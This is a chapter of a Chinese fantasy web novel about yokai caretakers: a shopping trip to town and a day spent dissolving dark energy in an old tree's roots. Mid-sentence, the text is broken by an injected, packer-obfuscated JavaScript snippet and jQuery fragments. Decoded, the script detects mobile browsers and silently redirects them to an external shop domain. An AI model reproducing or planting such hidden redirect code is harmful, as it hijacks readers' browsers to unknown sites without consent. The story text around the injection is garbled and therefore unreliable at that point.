文趣网 > 其他小说 > 我的妖怪福利院经营日常 > 37. 陶陶的第一次出差
    第六天早上,胡离清点了背包里的物资之后宣布了一个消息:干粮只够吃到今天中午,明天就得饿肚子。

    “我去县城买。”他把背包拉链拉好,站起来拍了拍裤子上的土,“谁跟我去?”

    陶陶从溪边抬起头来,手里还攥着一块刚捡的石头,眼睛刷地亮了:“我!我去!”他把石头往兜里一揣,三两步跑到胡离旁边,仰着脸看着他,表情诚恳得像是在申请一个天大的任务。

    胡离看了他一眼,又看了一眼林小满。林小满想了想,点了点头:“去吧。别乱跑,跟紧胡离。”她又看了一眼胡离,“给他买点热乎的吃。”

    胡离带着陶陶走了。从溪边空地走出去半个钟头是土路尽头,从土路尽头搭老乡的三轮车去镇上大概二十分钟。陶陶坐在三轮车的车斗里,颠得屁股一蹦一蹦的,但他没喊难受,反而高兴得在车斗里站起来,两只手扶着车斗边沿,头发被风吹得乱七八糟,嘴里喊着“好快好快”。三轮车师傅回头看了他一眼,笑了一声。

    到了镇上的小卖部,胡离买了一箱压缩饼干、两袋米、一袋干菜和几根火腿肠。陶陶蹲在货架前面看了很久,最后选了一包最便宜的奶糖,拿起来又放回去,又拿起来。胡离在旁边看见了,伸手把那包奶糖拿过来放进了购物篮里。陶陶抬头看他,胡离推了推眼镜,语气很淡:“算我请你的。”陶陶的眼睛弯成了两道月牙,嘴角咧得快要裂到耳朵根了。

    回去的路上陶陶坐在三轮车车斗里把那包奶糖拆开了。他剥了一颗塞进自己嘴里,又剥了一颗递给胡离。胡离接过去吃了。陶陶又剥了一颗,用糖纸仔细包好,揣进兜里。胡离问他留着给谁。陶陶说:“给小暖。它不吃,但可以闻闻。”胡离偏过头看了他一眼,没说什么,只是把车斗里那几袋物资往旁边挪了挪,给陶陶腾出更大的地方坐。

    他们回到溪边空地的时候已经是午后了。陶陶从三轮车上跳下来,一路跑进去,跑到树根旁边的时候刹住脚,把兜里那颗用糖纸包好的奶糖掏出来递给小暖。小暖用触须碰了碰糖纸,金色小眼睛弯了弯,发出一声很轻的嗡鸣。陶陶满意了,又跑到书书旁边把另一颗奶糖塞给他。书书接过来放进兜里,认真地说了声谢谢。

    胡离把物资放下来,林小满过来清点了一遍,分好每天的份量,剩下的收进背包。白泽还站在树干北侧,手掌贴着树皮,但今天的金光比前几天都强——鹿角上的亮度回升了不少,整片空地都被那层温润的金色映得比平时亮堂。小榆蹲在老树南侧,根须探入土层,指尖的树皮纹路亮得很稳。小暖从暖光垫上滚到树根旁边,把暖光重新渗入土层,跟着小榆的根须往下走。

    今天是从第一天开始以来最关键的一天。小榆的根须已经推进到了暗气块核心外围的最后一段路径。昨晚他收工的时候说过,今天再探一次应该能碰到核心边缘。如果今天能疏通到核心,白泽的金光就能渗进去,从内部开始瓦解那块凝了几十年的暗气。小榆深吸了一口气,把手掌贴在地面上,根须从指尖伸出去。他的侧须分成了二十几根,比前几天更细、更密,从老树主根和侧根之间的缝隙里穿过去,绕过弯道、避开淤堵、穿过冻土留下的硬块。小暖的暖光贴着他的根须一路向下,像一条细细的溪流在土层里缓缓流淌。

    白泽的掌心持续释放着金光。金光从树干北侧渗入木质层,沿着前几天铺开的那张“网”继续向深处推进,和从地下上来的暖光在树干中段会合。两股光汇在一起之后继续往根系最深处走,和前几天不同的是今天的金光没有绕行,而是走了一条近乎垂直的直线——那是小榆这几天清理出来的一条最直接的通道。金光沿着这条通道一路下行,越来越深,越来越接近暗气块的核心。

    到下午过半的时候,小榆的根须末梢终于碰到了核心的边缘。他的手指微微收紧,然后回头看向林小满,声音里带着一丝压抑的兴奋:“碰到了。就在前面不到一寸。”他顿了一下,又补了一句,“很硬。比预想的硬。但外面那层已经松了。”

    白泽闭着眼,手掌紧紧贴着树干。他的金光已经抵达了核心外围,和小榆的根须只隔着一层薄薄的淤堵物。他把金光收束成极细的一束,从淤堵物最薄的位置钻了进去。金光在核心内部散开的时候,白泽的眉头猛地皱了一下——核心内部的暗气浓度远超他的预想,比城北那棵老榆树内部的暗气浓了将近三倍。但他没有退。金光在核心内部缓缓铺开,像一张网一样从内部向外扩散,把凝了几十年的暗气一块一块地包裹、稀释、带动。

    这个过程比前几天任何一次都要慢。白泽的额头上渗出了一层薄汗,鹿角上的金光在持续消耗中慢慢变淡。但他站得很稳,呼吸很平,手掌没有离开过树皮。林小满站在几步之外看着他,没有出声。胡离和书书在旁边守着,陶陶被交代了“今天不许闹”,所以蹲在溪边安安静静地捡石头,偶尔回头看一眼树下的动静。

    小暖的暖光从土层里缓缓渗上来,和以往不同的是这次它没有裹着暗气往回带,而是把暖光留在了核心外围,像一圈柔软的垫子垫在暗气块的周围。它的嗡鸣声很轻,但每个字都很清楚:“……我在这儿。不着急。”

    核心内部的暗气在金光和暖光的双重作用下开始松动。最外层的暗气从坚硬的块状变成了半流动的糊状,被金光带动着向边缘散去,被暖光裹住带走。小榆的根须在核心外围持续清理淤堵物,把散出来的碎暗气从泥土里拨松、推开,让通道保持畅通。这个过程持续了将近两个小时。

    到天色开始暗下来的时候,白泽把手掌从树干上收回来。他退后一步,低头看了看自己的手——掌纹里的金色余晖几乎看不见了,指节微微发白,但脉搏还在跳,稳的。他抬起头来看着树干。老树根

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17943839|214012||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    部那片灰黑色斑块靠近根部的位置,一大片已经褪成了浅灰色甚至接近灰白色,消退的范围比前几天加起来还多。剩下的一半灰黑色斑块明显变薄了,边缘模糊不清,像是正在被什么东西从内部慢慢溶解。

    小榆把根须收回指尖,坐在地上长长地吐了一口气。他的手指酸得发抖,但脸上带着笑。小暖从土层里滚出来的时候暖光收成了很小一团,但颜色还是正的,没有发灰。它滚到白泽脚边,用触须碰了碰他的鞋面,嗡鸣声很轻:“……今天最好。”

    白泽蹲下来,把掌心摊开让它看。小暖的触须碰了碰他的掌纹,暖光在那些淡到几乎看不见的金色余晖上亮了一下,然后缩回去。白泽把手收回来插进口袋里,摸到了那两枚扣子和叠在一起的手绘图。他没有把它们拿出来,只是握了一下,然后松开。

    胡离把晚饭分给大家。今天有了新买的米,他煮了一锅稠粥,又切了两根火腿肠放进去。陶陶吃了两碗,吃得鼻尖上冒了一层细汗。书书在笔记本上记下今天的进度:斑块消退过半,核心已触及,白泽金光消耗极大但状态稳定,小榆根须抵达核心边缘,小暖暖光在核心外围铺设完毕。

    林小满坐在空地边那块石头上喝粥,看着营地里的人各自忙碌。白泽靠着树干坐着,鹿角金光比中午暗了,但比傍晚收工的时候恢复了一些。小暖蜷在他膝头,暖光收得很小,和光核的频率慢慢趋同着。小榆蹲在树根旁边和往常一样把根须伸进土里和老根碰着。陶陶吃完之后跑到溪边把那块白天捡的石头洗了洗,然后跑回来放在白泽脚边:“这块给白泽哥哥。是圆形的。”白泽低头看了一眼那块被溪水冲得圆润的石头,伸手捡起来放进了口袋里,和扣子搁在一起。

    夜深了,营地灯还亮着。林小满写完今天的记录之后没有立刻睡,她坐在石头上看了一会儿树冠上方的星星。山里的星星比城里密,从树冠的缝隙里漏下来,碎碎地铺了一地。她想起那棵老树问“白泽是不是来了”的时候,白泽回答的那两个字——“来了”。来了之后呢?来了之后他们就一直在做事。从第一天探路到今天触及核心,一共六天。不算长,但也不短。她低头看了一眼白泽的方向。他已经靠着树干闭上了眼睛,呼吸很平,鹿角金光温润地亮着。小暖蜷在他膝头。小榆蹲在树根旁边。陶陶睡在睡袋里露着一条腿。书书在营地灯下翻笔记本。胡离在收拾锅碗。

    她站起来走到白泽旁边蹲下来,伸手轻轻碰了碰他的手腕。皮肤是温热的,脉跳得很稳。她收回手,把外套又往他肩上拉了拉。然后她站起来回了自己的睡袋,躺下的时候听见身后传来一声极轻的嗡鸣——是小暖,像是在对光核说了句什么。她没有回头,闭上眼睛,听着溪流的声音慢慢沉进梦里。

    明天是第七天。干粮够了,人手够了,进度比预想的好。那棵老树等了很久了,但他们已经来了。